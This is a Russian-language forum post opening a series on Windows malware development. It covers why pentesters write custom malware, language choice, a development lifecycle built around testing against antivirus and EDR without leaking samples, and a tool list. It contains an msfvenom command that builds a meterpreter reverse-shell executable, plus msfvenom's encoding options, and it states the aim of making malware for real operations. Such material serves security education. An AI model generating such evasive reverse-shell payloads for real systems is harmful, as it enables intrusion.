Зачем изучать разработку вредоносных программ ?

872828dd-ac69-4f8f-8ea3-10beaea13fb9.png


Всем привет!

Решил перепостить свой цикл статей по разработки малвари.

Статьи будут оформлены в виде цикла статей.)

Зачем изучать разработку вредоносных программ ?

Есть несколько причин, по которым кто-то хотел бы изучить разработку вредоносных программ.

С точки зрения тестирования на проникновение часто необходимо выполнять определенные вредоносные задачи в среде клиента.

У тестировщиков обычно есть три основных варианта выбора инструментов для атаки:

1. Инструменты с открытым исходным кодом — эти инструменты, как правило обнаруживаются любым средствами защиты и без каких-то доработок мало пригодны для атак.

2. Покупка инструментов. Команды с большими бюджетами часто предпочитают покупать инструменты, чтобы сэкономить драгоценное время во время заданий.

3. Разработка пользовательских инструментов. Поскольку эти инструменты создаются по индивидуальному заказу, они имеют больше шансов найти какие-то уязвимости в системе и проверить какие-то нестандартные части системы.
Именно здесь знания о разработке вредоносных программ становятся первостепенными для более успешной оценки безопасности.

Какой язык программирования следует использовать?

С технической точки зрения для создания вредоносного ПО можно использовать любой язык программирования, например Python, PowerShell, C#, C, C++ и Go.

Есть несколько причин, по которым одни языки программирования преобладают над другими, когда дело доходит до разработки вредоносных программ, и это
обычно сводится к следующим пунктам:

- Некоторые языки не имеют нужного функционала, например прямой доступ к ОЗУ по указателям и т.д.

- Другие языки не позволяют быстро выполнить нужную задачу, например тот-же язык Си не имеет функционала которым может похвастаться C# или Python, например есть задачи которые на том-же Python можно решить за пару строчек кода, а в Си это будет портянка на несколько десятков тысяч строк.

- Но минусы Python и C#, что требуется интерпретатор, который должен присутствовать на целевой машине, что уже осложняет атаку.

- Также при выборе языка нужно учитывать знание и опыт разработчика.

Языки программирования можно разделить на две разные группы: высокоуровневые и низкоуровневые.

Высокий уровень — как правило, более абстрагирован от операционной системы, менее эффективен при работе с памятью и часто для безопасности ограничивает некоторый функционал программисту.
Примером языка программирования высокого уровня является Python, С#.

Низкоуровневый — обеспечивает способ взаимодействия с операционной системой на более близком уровне, а также предоставляет разработчику больше свободы при
взаимодействуя с системой. Пример низкоуровневого языка программирования Си, Ассемблер.

Отмечу это разделение условное, но нужно понимать ещё, что есть языки которые требуют интерпретатор для запуска программы (Python, Java и т.д.) и которые не требуют, т.е. будет собран бинарный исполняемый образ, для запуска которого ничего не нужно (Такие как Си, С++, Rust и т.д.).

Разработка вредоносных программ для Windows


Сцена разработки вредоносных программ для Windows изменилась за последние несколько лет и теперь в значительной степени сосредоточена на обходе защиты.
С развитием технологии уже недостаточно создавать вредоносное ПО, которое выполняет подозрительные команды или выполняет «вредоносные» действия.

Целью этих статей научить вас создавать вредоносное ПО, которое можно использовать в реальных боевых действиях.

Жизненный цикл разработки вредоносного ПО


По сути, вредоносное ПО — это часть программного обеспечения, предназначенная для выполнения определенных действий. Успешная реализация программного обеспечения требует процесса
известного как жизненный цикл разработки программного обеспечения (SDLC).

Точно так же хорошо построенное и сложное вредоносное ПО потребует специализированной версии SDLC, называемый жизненным циклом разработки вредоносных программ (MDLC).

MDLC может состоять из 5 основных этапов:

1. Разработка. Начните разработку или усовершенствование функциональности вредоносного ПО.

2. Тестирование. Выполните тесты, чтобы выявить скрытые ошибки в уже разработанном коде.

3. Тестирование AV/EDR в автономном режиме. Запускайте разработанное вредоносное ПО с максимально возможным количеством продуктов безопасности. Важно, чтобы тестирование проводилось в автономном режиме, чтобы убедиться, что образцы не отправляются поставщикам средств обеспечения безопасности.

При использовании Microsoft Defender это достигается за счет отключения автоматической отправки образцов и облачной защиты.
Хотя такое отключение не позволит в полной мере протестировать защиту.

4. Онлайн-тестирование AV/EDR. Запустите разработанное вредоносное ПО против продуктов безопасности, подключенных к Интернету. Облачные движки часто являются ключевыми компонентов в AV/EDR, и поэтому тестирование вашего вредоносного ПО на эти компоненты имеет решающее значение для получения более точных результатов.
Будьте осторожны так как этот шаг может привести к отправке в образцов в облачный механизм решения безопасности.

5. Анализ. На этом этапе необходимо понять какие средства безопасности блокируют ваше ПО, на сколько это критично и т.д.

На этом закончу!)

Пишите комментарии, следующие статьи будут более предметными, разберём инструменты разработки, потом будет небольшая статья по архитектуре винды и вперёд.

Инструменты

В предыдущей части мы затронули, зачем вообще разрабатывать вредоносное ПО, рассмотрели жизненный цикл такого ПО и немного затронули выбор языка разработки.



Перед началом путешествия по разработке вредоносного программного обеспечения необходимо подготовить рабочее пространство, установив инструменты для разработки вредоносных программ, а также их отладки.

Эти инструменты будут полезны в процессе разработки и анализа вредоносного программного обеспечения.

Отмечу что пока мы будем рассматривать ОС Windows, т.к. большинство малвари пишут именно под эту ОС, но также в будущем хочу затронуть Линукс и может-быть несколько статей будут затрагивать обсуждение малвари для мобильных устройств.)

Инструменты разработки/отладки и исследования программ

Установите следующие инструменты:

Visual Studio - это среда разработки, в которой будет происходить процесс написания и компиляции кода. Установите C/C++ Runtime.

x64dbg - x64dbg - это отладчик, который будет использоваться во всех следующих статьях для получения внутреннего понимания разработанной вредоносной программы.

PE-Bear - PE-bear - это многофункциональный инструмент обратной разработки для файлов РЕ. Он также будет использоваться для оценки разработанной вредоносной программы и поиска подозрительных признаков.

Process Hacker 2 - Process Hacker - это мощный универсальный инструмент, который помогает отслеживать ресурсы системы, отлаживать программное обеспечение и обнаруживать вредоносные программы.

Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.

Msfvenom - это инструмент интерфейса командной строки, который используется для создания пэйлоадов для разных платформ.

Рассмотрим эти инструменты более подробно:

Visual Studio
- это интегрированная среда разработки (IDE), разработанная Microsoft. Она используется для разработки широкого спектра программного обеспечения, такого как веб-приложения, веб-сервисы и компьютерные программы.

Он также поставляется с инструментами разработки и отладки для создания и тестирования приложений.

Visual Studio будет основной средой разработки, используемой в этом курсе.

1746701868040.png





x64dbg - это отладочная утилита с открытым исходным кодом для x64 и x86 бинарных файлов Windows.

Она используется для анализа и отладки приложений в пользовательском режиме и драйверов в режиме ядра.

Она предоставляет графический интерфейс пользователя, который позволяет пользователям проверять и анализировать состояние своих программ, просматривать содержимое памяти, инструкции ассемблера и значения регистров.

С помощью x64dbg пользователи могут устанавливать точки останова, просматривать данные стека и кучи, выполнять пошаговое выполнение кода, читать и записывать значения памяти.

1746701876262.png



PE-Bear - это бесплатный инструмент с открытым исходным кодом, разработанный для помощи аналитикам вредоносного программного обеспечения и обратной разработки в быстром и простом анализе исполняемых файлов Windows Portable Executable (PE).

Он помогает анализировать и визуализировать структуру файла PE, просматривать импорты и экспорты каждого модуля и выполнять статический анализ для обнаружения аномалий и возможного вредоносного кода. PE-bear также включает функции проверки заголовка PE и секций, а также шестнадцатеричного редактора.

1746701886606.png



Process Hacker - это инструмент с открытым исходным кодом для просмотра и управления процессами и службами в операционной системе Windows.

Он похож на диспетчер задач, но предоставляет больше информации и расширенные функции.

С его помощью можно завершать процессы и службы, просматривать подробную информацию и статистику о процессах, устанавливать приоритеты процессов и многое другое.

Process Hacker будет полезен при анализе работающих процессов для просмотра таких элементов, как загруженные DLL-библиотеки и области памяти.


1746701914033.png




Wireshark – это широко распространённый инструмент для захвата и анализа сетевого трафика, который активно используется как для образовательных целей, так и для устранения неполадок на компьютере или в сети.

Wireshark работает практически со всеми протоколами модели OSI, обладает понятным для обычного пользователя интерфейсом и удобной системой фильтрации данных. Помимо всего этого, программа является кроссплатформенной и поддерживает следующие операционные системы: Windows, Linux, Mac OS X, Solaris, FreeBSD, NetBSD, OpenBSD.

1746703268574.png



Msfvenom - это генератор независимых нагрузок (payload) фреймворка Metasploit, который позволяет пользователям создавать различные типы нагрузок.

Эти нагрузки будут использоваться в создаваемом вредоносном программном обеспечении в рамках данного курса.

Также является заменой для инструментов msfpayload и msfencode.

Использование: /usr/bin/msfvenom [опции] <var=val>

Пример: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Опции:

Спойлер: Опции
-1, --list <type> Список всех модулей.

Типы: payloads, encoders, nops, platforms, archs, encrypt, formats, all.

-p, --payload <payload> Используемая нагрузка (используйте --list payloads для просмотра списка, --list-options для аргументов).

--list-options Список стандартных, расширенных опций для --payload <value>.

-f, --format <format> Формат вывода (используйте --list formats для списка форматов).

-e, --encoder <encoder> Используемый энкодер (используйте --list encoders для просмотра списка).

--service-name <value> Имя службы при создании исполняемого файла службы.

--sec-name <value> Новое имя раздела при создании крупных исполняемых файлов для Windows. По умолчанию: случайная строка из 4 символов.

--smallest Генерация наименьшей возможной нагрузки, используя все доступные энкодеры.

--encrypt <value> Тип шифрования или кодирования для применения к коду оболочки (используйте --list encrypt для списка).

--encrypt-key <value> Ключ для --encrypt.

--encrypt-iv <value> Вектор инициализации для --encrypt.

-a, --arch <arch> Архитектура для --payload и --encoders (используйте --list archs для списка).

--platform <platform> Платформа для --payload (используйте --list platforms для списка).

-o, --out <path> Сохранить нагрузку в файл.

-b, --bad-chars <list> Список символов, которых нужно избегать. Пример: '\х@@\х Р'.

-n, --nopsled <length> Добавить пустой блок заданной длины перед нагрузкой.

--pad-nops Использовать длину блока, заданную опцией -n <length>, как общий размер нагрузки, автоматически добавляя пустой блок до нужного количества (длина блока минус длина нагрузки).

-s, --space <length> Максимальный размер результирующей нагрузки.

--encoder-space <length> Максимальный размер закодированной нагрузки (по умолчанию равен значению опции -s).

-i, --iterations <count> Количество итераций кодирования нагрузки.

-c, --add-code <path> Указать дополнительный файл с shell-кодом для включения.

-x, --template <path> Указать пользовательский исполняемый файл в качестве шаблона.

Пожалуйста изучите эти инструменты более подробно самостоятельно, к сожалению описывать их более детально нет возможности, в сети статей очень много, далее в следующих статьях будет затронут немного язык Си, а потом немного архитектура ОС.

Вообще описывать всё подробно очень затратно, поэтому цель этих статей дать направление, если-же вы действительно хотите что-то изучать, то это в основном самостоятельная практика и изучение.

Но надеюсь эти статьи могут дать какое-то направление…)